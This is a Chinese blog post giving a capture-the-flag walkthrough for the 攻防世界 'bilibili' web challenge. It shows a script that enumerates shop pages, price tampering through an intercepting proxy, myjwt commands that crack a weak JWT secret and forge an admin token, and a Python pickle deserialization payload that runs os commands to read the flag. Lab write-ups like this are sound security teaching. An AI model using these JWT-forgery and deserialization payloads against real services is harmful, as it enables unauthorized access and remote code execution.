攻防世界--bilibili

在我们进入这道题目的时候,可以看出是要求我们去获取lv6

为此我们直接写代码:

点击查看代码
import requests
target = "http://61.147.171.105:50909/shop?page=%d"
for i in range(500):
    res = requests.get(target%(i)).text
    if "lv6.png" in res:
        print(target%(i))
        break

跑出来的结果入下图所示:

我们访问这个页面就可以看到购买lv6的方式,我们会发现我们的资金是完全不够的,直接用bp拦截修改就行:

我们发现这里提示我们访问/b1g_m4mber这个目录


但是这个网站只能用admin权限,我们可以看到这边是有JWT,我们先解密一下:

这里我们需要修改一下这里的username,需要用myjwt工具爆破出盐值secret_key

点击查看代码
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --crack "[A-Za-z0-9]{4}"
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --add-payload "username=admin" --sign 1Kun
new JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
我们这个时候就只需要把JWT复制过去就行

在这里我们可以看到/static/asd1f654e683wq/www.zip这个页面,可以下载这道题的源代码

我们发现Admin.py这个文件里面存在python反序列化漏洞,这里我们直接写脚本获得反序列化的代码(注意,这里需要python2的环境)

点击查看代码
import urllib2
import pickle
class A(object):
    def __reduce__(self):
        # a = "__import__('os').popen('ls').read()"
        # a = "__import__('os').popen('ls').read()"
        a = "__import__('os').popen('cat /flag.txt').read()"
        return (eval,(a,))

print(urllib2.quote(pickle.dumps(A())))


这样我们就成功的获得了flag

posted @ 2024-05-28 12:08  Ha1tur  阅读(227)  评论(0)    收藏  举报